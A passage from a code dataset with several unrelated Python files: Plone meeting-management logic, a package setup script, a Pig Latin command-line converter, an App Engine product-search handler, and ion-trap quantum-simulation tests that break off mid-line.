ObjectModifiedEvent is called.\n We also call reindexObject here so we avoid multiple reindexation.\n This is called when we change something on an element without\n tiggering too much things.\"\"\"\n notifyModifiedAndReindex(self, extra_idxs=idxs, notify_event=True)\n\n def update_local_roles(self, avoid_reindex=False, **kwargs):\n \"\"\"Update various local roles.\"\"\"\n # remove every localRoles then recompute\n old_local_roles = self.__ac_local_roles__.copy()\n self.__ac_local_roles__.clear()\n # add 'Owner' local role\n self.manage_addLocalRoles(self.owner_info()['id'], ('Owner',))\n # Update every 'power observers' local roles given to the\n # corresponding MeetingConfig.powerObsevers\n # it is done on every edit because of 'meeting_access_on' TAL expression\n self._update_power_observers_local_roles()\n self._update_using_groups_local_roles()\n _addManagedPermissions(self)\n # notify that localRoles have been updated\n notify(MeetingLocalRolesUpdatedEvent(self, old_local_roles))\n # not really necessary here but easier\n # update annexes categorized_elements to store 'visible_for_groups'\n updateAnnexesAccess(self)\n # reindex object security except if avoid_reindex=True and localroles are the same\n # XXX check on currently_migrating_meeting_dx to be removed after Meeting migrated to DX\n if not self.REQUEST.get('currently_migrating_meeting_dx') and \\\n (not avoid_reindex or old_local_roles != self.__ac_local_roles__):\n self.reindexObjectSecurity()\n\n def getIndexesRelatedTo(self, related_to='annex', check_deferred=True):\n '''See doc in interfaces.py.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n if related_to == 'annex':\n idxs = ['SearchableText']\n if check_deferred and related_to in tool.getDeferParentReindex():\n # mark meeting reindex deferred so it can be updated at right moment\n meeting = self.getSelf()\n setattr(meeting, REINDEX_NEEDED_MARKER, True)\n idxs.remove('SearchableText')\n return idxs\n\n def _update_power_observers_local_roles(self):\n '''Give local roles to the groups defined in MeetingConfig.powerObservers.'''\n extra_expr_ctx = _base_extra_expr_ctx(self)\n extra_expr_ctx.update({'meeting': self, })\n cfg = extra_expr_ctx['cfg']\n cfg_id = cfg.getId()\n meeting_state = self.query_state()\n for po_infos in cfg.getPowerObservers():\n if meeting_state in po_infos['meeting_states'] and \\\n _evaluateExpression(self,\n expression=po_infos['meeting_access_on'],\n extra_expr_ctx=extra_expr_ctx):\n power_observers_group_id = \"%s_%s\" % (cfg_id, po_infos['row_id'])\n self.manage_addLocalRoles(power_observers_group_id,\n (READER_USECASES['powerobservers'],))\n\n def _update_using_groups_local_roles(self):\n '''When using MeetingConfig.usingGroups, only defined groups will get\n access to the meeting.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n for org_uid in cfg.getUsingGroups():\n for plone_group_id in get_plone_groups(org_uid, ids_only=True):\n self.manage_addLocalRoles(plone_group_id, ('Reader', ))\n\n security.declarePublic('wfConditions')\n\n def wfConditions(self):\n '''Returns the adapter that implements the interface that proposes\n methods for use as conditions in the workflow associated with this\n meeting.'''\n return getWorkflowAdapter(self, conditions=True)\n\n security.declarePublic('wfActions')\n\n def wfActions(self):\n '''Returns the adapter that implements the interface that proposes\n methods for use as actions in the workflow associated with this\n meeting.'''\n return getWorkflowAdapter(self, conditions=False)\n\n security.declarePublic('adapted')\n\n def adapted(self):\n '''Gets the \"adapted\" version of myself. If no custom adapter is found,\n this method returns me.'''\n return getCustomAdapter(self)\n\n def attribute_is_used_cachekey(method, self, name):\n '''cachekey method for self.attribute_is_used.'''\n return \"{0}.{1}\".format(self.portal_type, name)\n\n security.declarePublic('attribute_is_used')\n\n @ram.cache(attribute_is_used_cachekey)\n def attribute_is_used(self, name):\n '''Is the attribute named p_name used in this meeting config ?'''\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n return (name in cfg.getUsedMeetingAttributes())\n\n def query_state_cachekey(method, self):\n '''cachekey method for self.query_state.'''\n return self.workflow_history\n\n security.declarePublic('query_state')\n\n # not ramcached perf tests says it does not change anything\n # and this avoid useless entry in cache\n # @ram.cache(query_state_cachekey)\n def query_state(self):\n '''In what state am I ?'''\n wfTool = api.portal.get_tool('portal_workflow')\n return wfTool.getInfoFor(self, 'review_state')\n\n security.declarePublic('get_self')\n\n def get_self(self):\n '''Similar to MeetingItem.get_self. Check MeetingItem.py for more\n info.'''\n res = self\n if self.getTagName() != 'Meeting':\n res = self.context\n return res\n\n security.declarePublic('is_decided')\n\n def is_decided(self):\n meeting = self.get_self()\n return meeting.query_state() in ('decided', 'closed', 'decisions_published', )\n\n def add_recurring_items_if_relevant(self, transition):\n '''Sees in the meeting config linked to p_meeting if the triggering of\n p_transition must lead to the insertion of some recurring items in\n p_meeting.'''\n rec_items = []\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n for item in cfg.getRecurringItems():\n if item.getMeetingTransitionInsertingMe() == transition:\n rec_items.append(item)\n if rec_items:\n self.add_recurring_items(rec_items)\n\n security.declarePrivate('add_recurring_items')\n\n def add_recurring_items(self, recurring_items):\n '''Inserts into this meeting some p_recurring_items.\n The newly created items are copied from recurring items\n (contained in the meeting config) to the folder containing\n this meeting.'''\n dest_folder = self.aq_inner.aq_parent\n new_items = []\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n meeting_uid = self.UID()\n for recurring_item in recurring_items:\n # Set current meeting as preffered meeting, this way it will\n # be considered as \"late item\" for this meeting if relevant.\n new_items.append(recurring_item.clone(\n cloneEventAction='Add recurring item',\n destFolder=dest_folder,\n keepProposingGroup=True,\n newPortalType=cfg.getItemTypeName(),\n item_attrs={'preferredMeeting': meeting_uid}))\n for new_item in new_items:\n # Put the new item in the correct state\n adapted = new_item.adapted()\n error = adapted.addRecurringItemToMeeting(self)\n if not error:\n notify(ItemDuplicatedFromConfigEvent(new_item, 'as_recurring_item'))\n\n security.declarePublic('number_of_items')\n\n def number_of_items(self, as_str=False):\n '''How much items in this meeting ?\n If p_as_str=True, we return a str. This is necessary when returned\n for JS as when 0, nothing is returned by Zope.'''\n if as_str:\n return str(getattr(self, \"_number_of_items\"))\n else:\n return getattr(self, \"_number_of_items\")\n\n security.declarePublic('show_votes')\n\n def show_votes(self):\n '''See doc in interfaces.py.'''\n res = False\n meeting = self.get_self()\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(meeting)\n if cfg.getUseVotes() or meeting.get_voters():\n res = True\n return res\n\n security.declarePublic('get_previous_meeting')\n\n def get_previous_meeting(self, interval=180):\n '''Gets the previous meeting based on meeting date. We only search among\n meetings in the previous p_interval, which is a number\n of days. If no meeting is found, the method returns None.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n meeting_type_name = cfg.getMeetingTypeName()\n catalog = api.portal.get_tool('portal_catalog')\n # find every meetings before searchMeetingsInterval days before self\n brains = catalog(\n portal_type=meeting_type_name,\n meeting_date={'query': self.date - timedelta(days=interval),\n 'range': 'min'},\n sort_on='meeting_date',\n sort_order='reverse')\n res = None\n for brain in brains:\n meeting = brain.getObject()\n if meeting.date < self.date:\n res = meeting\n break\n return res\n\n security.declarePublic('get_next_meeting')\n\n def get_next_meeting(self, cfg_id='', date_gap=0):\n '''Gets the next meeting based on meeting date.\n p_cfg can be used to compare meetings from another meetingconfig\n with meeting from the current config.\n p_dateGap is the number of 'dead days' following the date of\n the current meeting in which we do not look for next meeting'''\n tool = api.portal.get_tool('portal_plonemeeting')\n if not cfg_id:\n cfg = tool.getMeetingConfig(self)\n else:\n cfg = getattr(tool, cfg_id)\n return get_next_meeting(meeting_date=self.date, cfg=cfg, date_gap=date_gap)\n\n\nclass MeetingSchemaPolicy(DexteritySchemaPolicy):\n \"\"\" \"\"\"\n\n def bases(self, schemaName, tree):\n # return (IMeetingCustomSample, )\n return (IMeeting, )\n\n\nclass MeetingCollection(Collection):\n \"\"\" \"\"\"\n\n def _set_sort_on(self, value):\n self.context.sort_on = value\n\n def _get_sort_on(self, force_linked_items_query=False):\n if displaying_available_items(self.context) and not force_linked_items_query:\n return 'getProposingGroup'\n else:\n return 'getItemNumber'\n\n sort_on = property(_get_sort_on, _set_sort_on)\n\n def _set_query(self, value):\n self.context.query = value\n\n def _get_query(self, force_linked_items_query=False, **kwargs):\n \"\"\"Override default ICollection behavior _get_query to manage our own.\"\"\"\n # available items?\n if displaying_available_items(self.context) and not force_linked_items_query:\n res = self.context._available_items_query()\n else:\n res = [{'i': 'meeting_uid',\n 'o': 'plone.app.querystring.operation.selection.is',\n 'v': self.context.UID()}, ]\n return res\n\n query = property(_get_query, _set_query)\n\n\nclass MeetingSearchableTextExtender(object):\n adapts(IMeeting)\n implements(IDynamicTextIndexExtender)\n\n def __init__(self, context):\n self.context = context\n\n def __call__(self):\n \"\"\"Include annexes title in SearchableText.\"\"\"\n res = []\n for annex in get_annexes(self.context):\n res.append(annex.Title())\n res = ' '.join(res)\n return res\n\n\n@implementer(ITokenizedTerm)\nclass UnicodeSimpleTerm(object):\n \"\"\"Simple tokenized term used by SimpleVocabulary that may have unicode value.\"\"\"\n\n def __init__(self, value, token=None, title=None):\n \"\"\" \"\"\"\n self.value = value\n if token is None:\n token = value\n # XXX change with SimpleTerm, do not str(token)\n self.token = token\n self.title = title\n if title is not None:\n directlyProvides(self, ITitledTokenizedTerm)\n\n\nclass PlacesVocabulary(object):\n implements(IVocabularyFactory)\n\n def __call__(self, context):\n \"\"\"XXX warning, we need unicode term value, so we use UnicodeSimpleTerm.\n Indeed we store the plain value that may contain special characters.\"\"\"\n terms = []\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(context)\n # XXX with MeetingConfig AT, place is stored as utf-8, we need unicode\n places = [safe_unicode(place) for place in cfg.getPlaces().strip().split('\\r\\n')\n if place.strip()]\n # history when context is a Meeting\n if context.getTagName() == \"Meeting\" and \\\n context.place and \\\n context.place not in places and \\\n context.place != PLACE_OTHER:\n places.append(context.place)\n\n for place in places:\n terms.append(UnicodeSimpleTerm(place, place, place))\n terms.append(UnicodeSimpleTerm(\n PLACE_OTHER, PLACE_OTHER, translate('other_place',\n domain='PloneMeeting',\n context=context.REQUEST,\n default=u\"Other\")))\n return SimpleVocabulary(terms)\n\n\nPlacesVocabularyFactory = PlacesVocabulary()\n","repo_name":"IMIO/Products.PloneMeeting","sub_path":"src/Products/PloneMeeting/content/meeting.py","file_name":"meeting.py","file_ext":"py","file_size_in_byte":110098,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"23193282619","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\n\nsetuptools.setup(\n name='BubbleBox', \n version='0.48',\n author=\"Audun Skau Hansen\",\n author_email=\"a.s.hansen@kjemi.uio.no\",\n description=\"A molecular dynamics educational tool for Jupyter Notebooks\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.uio.no/audunsh/bubblebox\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n )\n","repo_name":"audunsh/bubblebox","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"44643993681","text":"import click\r\nfrom click_help_colors import HelpColorsGroup, HelpColorsCommand\r\ndef piglatin(data):\r\n a = str(data)\r\n a = a.lower()\r\n a = a + a[0]+'ay'\r\n a = list(a)\r\n a.remove(a[0])\r\n\r\n a = ''.join(a)\r\n print(a)\r\ndef english(data):\r\n a = data.lower()\r\n for i in range(1, 3):\r\n a = a[:-1]\r\n\r\n a = a[len(a)-1]+a[0:len(a)-1]\r\n print(a)\r\n@click.group(\r\n cls=HelpColorsGroup, help_headers_color=\"yellow\", help_options_color=\"cyan\"\r\n)\r\n@click.version_option('0.1.0')\r\ndef main():\r\n \"\"\"PigLatinCli: Convert English To Pig Latin\\n\r\n iglatinclipay: onvertcay nglisheay otay igpay atinlay\"\"\"\r\n pass\r\n@main.command('en2pig', help = 'English To Piglatin')\r\n@click.argument('content', nargs=-1)\r\ndef en2pl(content):\r\n llist = []\r\n content = list(content)\r\n for x in range(len(content)):\r\n a = str(content[x])\r\n a = a.lower()\r\n a = a + a[0]+'ay'\r\n a = list(a)\r\n a.remove(a[0])\r\n\r\n a = ''.join(a)\r\n llist.append(a)\r\n text = ' '.join(llist)\r\n print(text)\r\n \r\n \r\n \r\n \r\n@main.command('pl2en', help = 'Piglatin To English')\r\n@click.argument('content', nargs=-1)\r\ndef pl2en(content):\r\n llist = []\r\n content = list(content)\r\n for x in range(len(content)):\r\n data = content[x]\r\n a = data.lower()\r\n for i in range(1, 3):\r\n a = a[:-1]\r\n\r\n a = a[len(a)-1]+a[0:len(a)-1]\r\n llist.append(a)\r\n text = ' '.join(llist)\r\n print(text)\r\n \r\n\r\n \r\n\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"AvanindraC/Pig-Latin-Cli","sub_path":"piglatincli.py","file_name":"piglatincli.py","file_ext":"py","file_size_in_byte":1564,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"72082249973","text":"import urllib\nimport logging\n\nfrom google.appengine.api import search\nfrom google.appengine.ext import ndb\n\nfrom lib.bourneehandler import RegisterBaseHandler\nfrom lib import searchDocument as docs\nfrom lib import utils\nfrom models import shoppingModels, categoryModels\n\nclass ProductSearchHandler(RegisterBaseHandler):\n\t\"\"\"The handler for doing a product search.\"\"\"\n\n\t_DEFAULT_DOC_LIMIT = 10 #default number of search results to display per page.\n\t_OFFSET_LIMIT = 1000\n\n\tdef parseParams(self):\n\t\t\"\"\"Filter the param set to the expected params.\"\"\"\n\t\tparams = {\n\t\t\t'qtype': '',\n\t\t\t'query': '',\n\t\t\t'category': '',\n\t\t\t'sort': '',\n\t\t\t'rating': '',\n\t\t\t'offset': '0'\n\t\t\t}\n\t\tfor k, v in params.iteritems():\n\t\t\t# Possibly replace default values.\n\t\t\tparams[k] = self.request.get(k, v)\n\t\treturn params\n\n\tdef post(self):\n\t\tparams = self.parseParams()\n\t\tself.redirect('/search?' + urllib.urlencode(\n\t\t\tdict([k, v.encode('utf-8')] for k, v in params.items())))\n\n\tdef _getDocLimit(self):\n\t\t\"\"\"if the doc limit is not set in the utils file, use the default.\"\"\"\n\t\tdoc_limit = self._DEFAULT_DOC_LIMIT\n\t\ttry:\n\t\t\tdoc_limit = int(utils.DOC_LIMIT)\n\t\texcept ValueError:\n\t\t\tlogging.error('DOC_LIMIT not properly set in utils file; using default.')\n\t\treturn doc_limit\n\n\tdef get(self):\n\t\t\"\"\"Handle a product search request.\"\"\"\n\n\t\tparams = self.parseParams()\n\t\tself.doProductSearch(params)\n\n\tdef doProductSearch(self, params):\n\t\t\"\"\"Perform a product search and display the results.\"\"\"\n\t\t# the product fields that we can sort on from the UI, and their mappings to\n\t\t# search.SortExpression parameters\n\t\tsort_info = docs.Product.getSortMenu()\n\t\tsort_dict = docs.Product.getSortDict()\n\t\tquery = params.get('query', '')\n\t\tuser_query = query\n\t\tdoc_limit = self._getDocLimit()\n\n\t\tcategoryq = params.get('category')\n\t\tif categoryq:\n\t\t\t# add specification of the category to the query\n\t\t\t# Because the category field is atomic, put the category string\n\t\t\t# in quotes for the search.\n\t\t\tquery += ' %s:\"%s\"' % (docs.Product.PARENT_CATEGORY, categoryq)\n\n\t\tsubcategoryq = params.get('subcategory')\n\t\tif subcategoryq:\n\t\t\t# add specification of the category to the query\n\t\t\t# Because the category field is atomic, put the category string\n\t\t\t# in quotes for the search.\n\t\t\tquery += ' %s:\"%s\"' % (docs.Product.CATEGORY, subcategoryq)\n\n\t\tsortq = params.get('sort')\n\t\tif not sortq: sortq = 'relevance'\n\t\tlogging.info('sortq: {}'.format(sortq))\n\t\ttry:\n\t\t\toffsetval = int(params.get('offset', 0))\n\t\texcept ValueError:\n\t\t\toffsetval = 0\n\n\t\t# Check to see if the query parameters include a ratings filter, and\n\t\t# add that to the final query string if so. At the same time, generate\n\t\t# 'ratings bucket' counts and links-- based on the query prior to addition\n\t\t# of the ratings filter-- for sidebar display.\n\t\tquery, rlinks = self._generateRatingsInfo(\n\t\t\tparams, query, user_query, sortq, categoryq)\n\t\tlogging.info('query: %s', query.strip())\n\n\t\ttry:\n\t\t\t# build the query and perform the search\n\t\t\tlogging.info('Here')\n\t\t\tsearch_query = self._buildQuery(\n\t\t\t\tquery, sortq, sort_dict, doc_limit, offsetval)\n\t\t\tlogging.info('search_query: {}'.format(search_query))\n\t\t\t\t\n\t\t\tsearch_results = docs.Product.getIndex().search(search_query)\n\t\t\treturned_count = len(search_results.results)\n\t\t\tlogging.info('search_results: {}'.format(search_results))\n\n\t\texcept search.Error:\n\t\t\tlogging.exception(\"Search error:\") # log the exception stack trace\n\t\t\tmessage = _('An error occurred while searching the site. Please try again later.')\n\t\t\tself.add_message(message, 'error')\n\t\t\ttry:\n\t\t\t\tself.redirect(self.request.referer)\n\t\t\texcept:\n\t\t\t\tself.redirect_to('home')\n\n\t\t# cat_name = shoppingModels.getCategoryName(categoryq)\n\t\tpsearch_response = []\n\t\t# For each document returned from the search\n\t\tmodelsToMultiGet = []\n\t\tfor doc in search_results:\n\t\t\tmodelsToMultiGet.append(ndb.Key(urlsafe=str(doc.doc_id)))\n\t\t\t\n\t\t\t# # logging.info(\"doc: %s \", doc)\n\t\t\t# pdoc = docs.Product(doc)\n\t\t\t# # use the description field as the default description snippet, since\n\t\t\t# # snippeting is not supported on the dev app server.\n\t\t\t# description_snippet = pdoc.getDescription()\n\t\t\t# price = pdoc.getPrice()\n\t\t\t# # on the dev app server, the doc.expressions property won't be populated.\n\t\t\t# logging.info('Here')\n\t\t\t# for expr in doc.expressions:\n\t\t\t# \tif expr.name == docs.Product.DESCRIPTION:\n\t\t\t# \t\tdescription_snippet = expr.value\n\t\t\t# \t# uncomment to use 'adjusted price', which should be\n\t\t\t# \t# defined in returned_expressions in _buildQuery() below, as the\n\t\t\t# \t# displayed price.\n\t\t\t# \t# elif expr.name == 'adjusted_price':\n\t\t\t# \t\t# price = expr.value\n\t\t\t# \n\t\t\t# # get field information from the returned doc\n\t\t\t# pid = pdoc.getProductNumber()\n\t\t\t# cat = catname = pdoc.getCategory()\n\t\t\t# pname = pdoc.getName()\n\t\t\t# avg_rating = pdoc.getAvgRating()\n\t\t\t# urlsafeKey = doc.doc_id\n\t\t\t# # for this result, generate a result array of selected doc fields, to\n\t\t\t# # pass to the template renderer\n\t\t\t# psearch_response.append(\n\t\t\t# \t[doc, urllib.quote_plus(pid), cat,\n\t\t\t# \tdescription_snippet, price, pname, catname, avg_rating, urlsafeKey])\n\t\tif not query:\n\t\t\tprint_query = 'All'\n\t\telse:\n\t\t\tprint_query = query\n\t\t\n\t\ttry:\n\t\t\tmodelResults = None\n\t\t\tif modelsToMultiGet:\n\t\t\t\tif len(modelsToMultiGet)==1: modelResults = [modelsToMultiGet[0].get()]\n\t\t\t\telif len(modelsToMultiGet) > 1: modelResults = ndb.get_multi(modelsToMultiGet)\n\t\texcept Exception as e:\n\t\t\tlogging.error('Could not get_multi from search document urlsafeKeys: -- {}'.format(e))\n\t\t# Build the next/previous pagination links for the result set.\n\t\t(prev_link, next_link) = self._generatePaginationLinks(\n\t\t\toffsetval, returned_count,\n\t\t\tsearch_results.number_found, params)\n\t\t\t\n\t\tlogging.info('returned_count: %s', returned_count)\n\t\t# construct the template values\n\t\tparams = {\n\t\t\t'modelResults':modelResults,\n\t\t\t'base_pquery': user_query, 'next_cursor': next_link,\n\t\t\t'prev_cursor': prev_link, 'qtype': 'product',\n\t\t\t'query': query, 'print_query': print_query,\n\t\t\t'pcategory': categoryq, 'sort_order': sortq, 'category_name': categoryq,\n\t\t\t'first_res': offsetval + 1, 'last_res': offsetval + returned_count,\n\t\t\t'returned_count': returned_count,\n\t\t\t'number_found': search_results.number_found,\n\t\t\t# 'search_response': psearch_response,\n\t\t\t'sort_info': sort_info,\n\t\t\t'ratings_links': rlinks}\n\t\t# render the result page.\n\t\tself.bournee_template('searchResults.html', **params)\n\t\t\n\tdef _buildQuery(self, query, sortq, sort_dict, doc_limit, offsetval):\n\t\t\"\"\"Build and return a search query object.\"\"\"\n\n\t\t# computed and returned fields examples. Their use is not required\n\t\t# for the application to function correctly.\n\t\t\n\t\tcomputed_expr = search.FieldExpression(name='adjusted_price',\n\t\t\t\texpression='price * 1.08')\n\t\treturned_fields = [docs.Product.PRODUCT_NUMBER, docs.Product.DESCRIPTION,\n\t\t\t\tdocs.Product.CATEGORY, docs.Product.AVG_RATING,\n\t\t\t\tdocs.Product.BEST_PRICE, docs.Product.PRODUCT_NAME]\n\n\t\tif sortq == 'relevance':\n \t\t\t# If sorting on 'relevance', use the Match scorer.\n\t\t\tsortopts = search.SortOptions(match_scorer=search.MatchScorer())\n\t\t\t\n\t\t\tsearch_query = search.Query(\n\t\t\t\t\tquery_string=query.strip(),\n\t\t\t\t\toptions=search.QueryOptions(\n\t\t\t\t\tlimit=doc_limit,\n\t\t\t\t\toffset=offsetval,\n\t\t\t\t\tsort_options=sortopts,\n\t\t\t\t\tsnippeted_fields=[docs.Product.DESCRIPTION],\n\t\t\t\t\treturned_expressions=[computed_expr],\n\t\t\t\t\treturned_fields=returned_fields\n\t\t\t\t\t))\n\t\telse:\t\t\t\n\t\t\t# Otherwise (not sorting on relevance), use the selected field as the\n\t\t\t# first dimension of the sort expression, and the average rating as the\n\t\t\t# second dimension, unless we're sorting on rating, in which case price\n\t\t\t# is the second sort dimension.\n\t\t\t# We get the sort direction and default from the 'sort_dict' var.\n\t\t\tif sortq == docs.Product.AVG_RATING:\n\t\t\t\texpr_list = [sort_dict.get(sortq), sort_dict.get(docs.Product.BEST_PRICE)]\n\t\t\t\tlogging.info('Here')\n\t\t\telse:\n\t\t\t\texpr_list = [sort_dict.get(sortq), sort_dict.get(docs.Product.AVG_RATING)]\n\t\t\t\tlogging.info('Here')\n\t\t\tlogging.info('Here')\n\t\t\t\n\t\t\tsortopts = search.SortOptions(expressions=expr_list)\n\t\t\tlogging.info('Here')\n\t\t\t\n\t\t\t# logging.info(\"sortopts: %s\", sortopts)\n\t\t\tsearch_query = search.Query(\n\t\t\t\t\t\tquery_string=query.strip(),\n\t\t\t\t\t\toptions=search.QueryOptions(\n\t\t\t\t\t\tlimit=doc_limit,\n\t\t\t\t\t\toffset=offsetval,\n\t\t\t\t\t\tsort_options=sortopts,\n\t\t\t\t\t\tsnippeted_fields=[docs.Product.DESCRIPTION],\n\t\t\t\t\t\treturned_expressions=[computed_expr],\n\t\t\t\t\t\treturned_fields=returned_fields\n\t\t\t\t\t\t))\n\t\treturn search_query\n\n\tdef _generateRatingsInfo(self, params, query, user_query, sort, category):\n\t\t\"\"\"Add a ratings filter to the query as necessary, and build the\n\t\tsidebar ratings buckets content.\"\"\"\n\n\t\torig_query = query\n\t\ttry:\n\t\t\tn = int(params.get('rating', 0))\n\t\t\t# check that rating is not out of range\n\t\t\tif n < utils.RATING_MIN or n > utils.RATING_MAX:\n\t\t\t\tn = None\n\t\texcept ValueError:\n\t\t\tn = None\n\t\tif n:\n\t\t\tif n < utils.RATING_MAX:\n\t\t\t\tquery += ' %s >= %s %s < %s' % (docs.Product.AVG_RATING, n,\n\t\t\t\t\t\tdocs.Product.AVG_RATING, n+1)\n\t\t\telse: # max rating\n\t\t\t\tquery += ' %s:%s' % (docs.Product.AVG_RATING, n)\n\t\tquery_info = {'query': user_query.encode('utf-8'), 'sort': sort,\n\t\t\t\t'category': category}\n\t\trlinks = docs.Product.generateRatingsLinks(orig_query, query_info)\n\t\treturn (query, rlinks)\n\n\tdef _generatePaginationLinks(self, offsetval, returned_count, number_found, params):\n\t\t\"\"\"Generate the next/prev pagination links for the query. Detect when we're\n\t\tout of results in a given direction and don't generate the link in that\n\t\tcase.\"\"\"\n\n\t\tdoc_limit = self._getDocLimit()\n\t\tpcopy = params.copy()\n\t\tif offsetval - doc_limit >= 0:\n\t\t\tpcopy['offset'] = offsetval - doc_limit\n\t\t\tprev_link = '/search?' + urllib.urlencode(pcopy)\n\t\telse:\n\t\t\tprev_link = None\n\t\tif ((offsetval + doc_limit <= self._OFFSET_LIMIT)\n\t\t\t\tand (returned_count == doc_limit)\n\t\t\t\tand (offsetval + returned_count < number_found)):\n\t\t\tpcopy['offset'] = offsetval + doc_limit\n\t\t\tnext_link = '/search?' + urllib.urlencode(pcopy)\n\t\telse:\n\t\t\tnext_link = None\n\t\treturn (prev_link, next_link)\n\n\n","repo_name":"JElbourne/PubCart","sub_path":"web/searchHandlers.py","file_name":"searchHandlers.py","file_ext":"py","file_size_in_byte":9998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71989314933","text":"import unittest\nfrom copy import deepcopy\nfrom random import random\n\nimport numpy as np\n\nimport netsquid as ns\nimport netsquid.qubits.qubitapi as qapi\nfrom netsquid import BellIndex\nfrom netsquid.components.instructions import INSTR_INIT, INSTR_ROT_Z, INSTR_EMIT, INSTR_MEASURE\nfrom netsquid.components.qprogram import QuantumProgram\nfrom netsquid.qubits import create_qubits, ketstates, operate, fidelity\nfrom netsquid.qubits.qubitapi import ops\nfrom netsquid.components.qprocessor import MissingInstructionError\nfrom netsquid_trappedions.instructions import IonTrapMSGate, INSTR_INIT_RANDOM, INSTR_INIT_BELL\nfrom netsquid_trappedions.instructions import IonTrapMultiQubitRotation\nfrom netsquid_trappedions.ion_trap import IonTrap\n\n\nclass TestIonTrap(unittest.TestCase):\n \"\"\"\n Base testing class\n \"\"\"\n\n @classmethod\n def setUpClass(cls) -> None:\n cls.ntry = 6\n cls.qubit_test_numbers = [1, 2, 5]\n cls.qref = []\n cls.qresult = []\n ns.qubits.qformalism.set_qstate_formalism(ns.qubits.qformalism.QFormalism.DM)\n\n def setUp(self) -> None:\n ns.sim_reset()\n\n def tearDown(self) -> None:\n ns.sim_stop()\n\n def check_equal(self):\n self.assertTrue(np.all(np.isclose(self.qref, self.qresult, atol=.0000001)))\n # self.assertTrue(np.array_equal(self.qref, self.qresult))\n\n def check_close(self):\n self.assertFalse(np.all(np.isclose(self.qref, self.qresult, atol=.0000001)))\n self.assertTrue(np.all(np.isclose(self.qref, self.qresult, atol=.1)))\n # self.assertFalse(np.array_equal(self.qref, self.qresult))\n\n\nclass TestIonTrapMultiQubitGateSMatrix(TestIonTrap):\n\n def test_construct_s_1(self):\n instr = IonTrapMultiQubitRotation(num_positions=1)\n instr.construct_s(phi=np.pi / 4)\n expected_mtx = 1 / np.sqrt(2) * np.array([[0, 1 - 1j], [1 + 1j, 0]])\n self.assertTrue(np.allclose(instr._smatrix, expected_mtx))\n instr.construct_s(phi=0)\n expected_mtx = np.array([[0, 1], [1, 0]])\n self.assertTrue(np.allclose(instr._smatrix, expected_mtx))\n instr.construct_s(phi=np.pi / 2)\n expected_mtx = np.array([[0, -1j], [1j, 0]])\n self.assertTrue(np.allclose(instr._smatrix, expected_mtx))\n\n def test_construct_s_2(self):\n instr = IonTrapMultiQubitRotation(num_positions=2)\n instr.construct_s(phi=np.pi / 4)\n expected_mtx = 1 / np.sqrt(2) * np.array(\n [[0, 1 - 1j, 1 - 1j, 0], [1 + 1j, 0, 0, 1 - 1j], [1 + 1j, 0, 0, 1 - 1j], [0, 1 + 1j, 1 + 1j, 0]])\n self.assertTrue(np.allclose(instr._smatrix, expected_mtx))\n instr.construct_s(phi=0)\n expected_mtx = np.array([[0, 1, 1, 0], [1, 0, 0, 1], [1, 0, 0, 1], [0, 1, 1, 0]])\n self.assertTrue(np.allclose(instr._smatrix, expected_mtx))\n instr.construct_s(phi=np.pi / 2)\n expected_mtx = np.array([[0, -1j, -1j, 0], [1j, 0, 0, -1j], [1j, 0, 0, -1j], [0, 1j, 1j, 0]])\n self.assertTrue(np.allclose(instr._smatrix, expected_mtx))\n\n\nclass TestIonTrapMultiQubitRotation(TestIonTrap):\n\n def test_full_rotation(self):\n \"\"\"\n Check if we get back to the start for a theta=2pi rotation for any random phi.\n Also check if we split the rotation into multiple parts.\n \"\"\"\n for num_qubits in self.qubit_test_numbers:\n qubit_indices = list(range(num_qubits))\n ion_trap = IonTrap(num_positions=num_qubits)\n ion_trap.add_instruction(INSTR_INIT_RANDOM, duration=0)\n rotation = IonTrapMultiQubitRotation(num_qubits)\n for steps in [1, 3, 5]:\n for _ in range(self.ntry):\n phi = random() * np.pi * 2\n prog = QuantumProgram(num_qubits=num_qubits)\n for _ in range(steps):\n prog.apply(instruction=rotation, qubit_indices=qubit_indices, theta=np.pi * 2 / steps, phi=phi)\n ion_trap.execute_instruction(instruction=INSTR_INIT_RANDOM,\n qubit_mapping=qubit_indices, standard_states=True)\n ns.sim_run()\n self.qref = deepcopy(qapi.reduced_dm(ion_trap.peek(qubit_indices)))\n ion_trap.execute_program(prog)\n ns.sim_run()\n self.qresult = qapi.reduced_dm(ion_trap.peek(qubit_indices))\n self.check_equal()\n\n def test_full_rotation_noise(self):\n \"\"\"Check that the rotation is noisy.\"\"\"\n for num_qubits in self.qubit_test_numbers:\n qubit_indices = list(range(num_qubits))\n ion_trap = IonTrap(num_positions=num_qubits, multi_qubit_xy_rotation_depolar_prob=0.001)\n ion_trap.add_instruction(INSTR_INIT_RANDOM, duration=0)\n rotation = IonTrapMultiQubitRotation(num_qubits)\n for _ in range(self.ntry):\n phi = random() * np.pi * 2\n ion_trap.execute_instruction(instruction=INSTR_INIT_RANDOM,\n qubit_mapping=qubit_indices, standard_states=True)\n ns.sim_run()\n self.qref = deepcopy(qapi.reduced_dm(ion_trap.peek(qubit_indices)))\n ion_trap.execute_instruction(instruction=rotation, 